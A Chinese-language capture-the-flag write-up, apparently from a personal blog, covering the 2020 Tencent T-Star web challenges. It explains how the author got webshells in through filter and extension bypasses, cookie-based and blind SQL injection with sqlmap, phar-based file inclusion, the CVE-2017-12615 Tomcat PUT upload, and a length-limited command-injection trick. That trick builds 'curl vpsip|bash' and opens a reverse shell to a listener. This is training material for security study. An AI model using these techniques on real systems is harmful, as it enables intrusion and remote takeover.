2020腾讯犀牛鸟网络安全T-Star高校挑战赛Writeup
2020-6-30
| 2024-2-2
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password

0x01 签到

打开题目链接,由HTTP请求头可知使用PHP,先把PHP的webshell改名为jpg,然后根据题目提示使用burp抓包绕过前端js验证,把后缀名改回php。
notion image
通过查看网页源码得知上传webshell的路径,通过冰蝎连上,在/var/www/key发现flag,key{K735c9f0D7ddc3b9},如下图所示。
notion image

0x02 命令执行基础

ping命令执行题,先随便ping一下本机能成功执行命令,然后发现使用分号分割发现执行命令没有回显,于是用管道符把原有输出给覆盖掉,ls发现可以正常当前目录,然后ls .. 发现flag在key.php里,如下图所示。
notion image

0x03 你能爆破吗

在用户名和密码框随便输入了点内容发现回显sql语句,不过考虑到题目名称是爆破,先尝试用Burp fuzz一下用户名和密码,期间试了下登录,发现http头里怎么都没有Cookie,最后等到fuzz完,发现用户名和密码都是admin。
登录进去发现了题目描述里提示的Cookie,字符串以等号结尾尝试一下base64解码后,发现是admin ,如下图所示。
notion image
手动改了下数据包发现了猫腻,Cookie处和题目描述一样可以注入,不过手工测试没有进行base64编码,导致乱码产生。对整个payload进行base64编码后发现sql语句能正常拼接,如下图所示。
notion image
使用sqlmap进行爆破,注意要使用base64encode tamper。先爆破库,分别试challenges和security,然后在security库发现flag,接着爆破表,然后爆破字段,然后根据字段dump出来就可以得到flag了。
notion image
notion image

0x04 文件上传

害,这个题全是泪。首先上传webshell,php结尾文件不给过,然后改后缀为jpg、gif,也不给过。然后想到合并图片和webshell,如下图。
notion image
现在终于可以上传上去了,因为图片是限制在20k~100k的,webshell在后面,截图截不到,如下图所示。
notion image
尝试使用%00和0x00截断gif,即bu.php%00.gif 和在burp hex里用0x00截断,虽然能上传成功,但发现图片访问不到,如下图所示。可能是PHP版本原因,不能用了。
notion image
只能另辟蹊径,发现中间件是Apache,拿出之前刷题做的笔记,一个个试,如下图所示。
notion image
发生pht和php7都可以正常访问,上传了个webshell,但是php代码解析异常!!!,先尝试一下为啥这样,比如我用 <?php phpinfo(); ?> 发现只剩下 info(); ?> 。
notion image
这时想起题目说字符过滤,原来是在这,对比观察,发现过滤了 php和 <? ,于是一步步尝试,发现了只会过滤一次,即:使用 pphphp 会被过滤为 php,但仍可到达我的目的,最终构造成
终于成功解析了!!如下二图所示。
notion image
notion image
试着使用一句话木马,发现连不上,使用 highlight_file(FILE); 发现eval被过滤了。然后尝试system之类的执行系统命令函数,发现可行,最终构造的payload如下图所示。然后并接上git图上传抓包改后缀为pht即可利用。
notion image
通过ls 发现flag在 ../../key ,如下图所示。
notion image

0x05 文件包含GetShell

经题目和描述已经可以猜出是phar+lfi了,然后在网页源码发现lfi.txt,即泄露的源码。
notion image
notion image
尝试上传php webshell发现只能上传txt结尾的文件。
notion image
现在题目思路已经很清晰了,先利用phar构造一个poc,后缀改为txt上传,如下图所示。
notion image
然后利用phar伪协议读取该路径,然后把PoC phar里写入的虚拟文件shell.php include进来就可以执行php代码了。
不过也有一些小坑,因为题目读取时会拼接文件名字,也就是sprintf函数,执行代码不能用GET方式,不然就不是访问到我们上传的文件了。其次就是最后写shell即可,不用写shell.php,因为sprintf帮我们加个了.php。
ls一下当前目录发现有个flag.php,最终读出来的flag如下二图所示。
notion image
notion image
EXP

0x06 成绩单

打开题目后输入1,单引号无回显,双引号正常,如下二图所示。
notion image
notion image
可以明显知道为盲注,用sqlmap爆库报表报字段,报字段比较久,因为是基于时间的盲注,即可得到flag。
notion image
notion image

0x07 小猫咪踩灯泡

题目给的提示是:CVE-2017-12615,查一下这个漏洞,其原理:是通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。
目前主要三种绕过方法:
  • evil.jsp/
  • evil.jsp%20
  • evil.jsp::$DATA
所以构造出如下的put请求,上传jsp文件的请求内容如下:
notion image
菜刀连一下便可。

0x09 分析代码获得flag

人生中第一个一血,开心 2333
打开题目,查看源码,发现是限制长度小于7的命令执行,马上想到Hitcon 2017 BabyFirst_Revenge,可参考这里(https://xz.aliyun.com/t/1579)。
其原理是利用 linux > 重定向可以直接用来写文件,直接实操一遍PoC里的内容就清楚了。首先我们需要控制命令序列的先后顺序,即文件创建的先后(例如我们应该让curl vpsip|bash顺序是可控的),我们可以用ls -t 来根据文件创建时间先后来排序进而达到此目的,如下图所示。
notion image
然后写入我们需要执行的命令,如下图所示。
notion image
先执行 sh _ ,即 ls -t >g,就是把上图的命令写入g文件中,如下图所示。
notion image
是乱的是因为不同文件比新写入了,如g文件,但是我们关心的是g文件,里面顺序是正常的就可以构造我们的命令。如下图所示。
notion image
最后我们执行 sh g就可以执行我们想要的命令了。
Hitcon2017的长度限制是5,可以直接用。拿出刷题的payload直接打就可以反弹shell了。在服务器网站根目录准备好反弹shell的命令,然后nc -lvvp 8080监听一下端口,本地执行一下Python脚本,题目机器去请求我的VPS,然后执行反弹shell命令,最后shell反弹至我VPS 8080端口上,flag在/var/www/key里,如下图所示。
notion image
notion image
notion image
EXP

END

还有两个SQL注入不太会,有空得把sqli-lab先全刷了入个门2333
 
  • CTF比赛
  • =======总结 & 手动分割线=======django踩坑记
    • GitTalk
    目录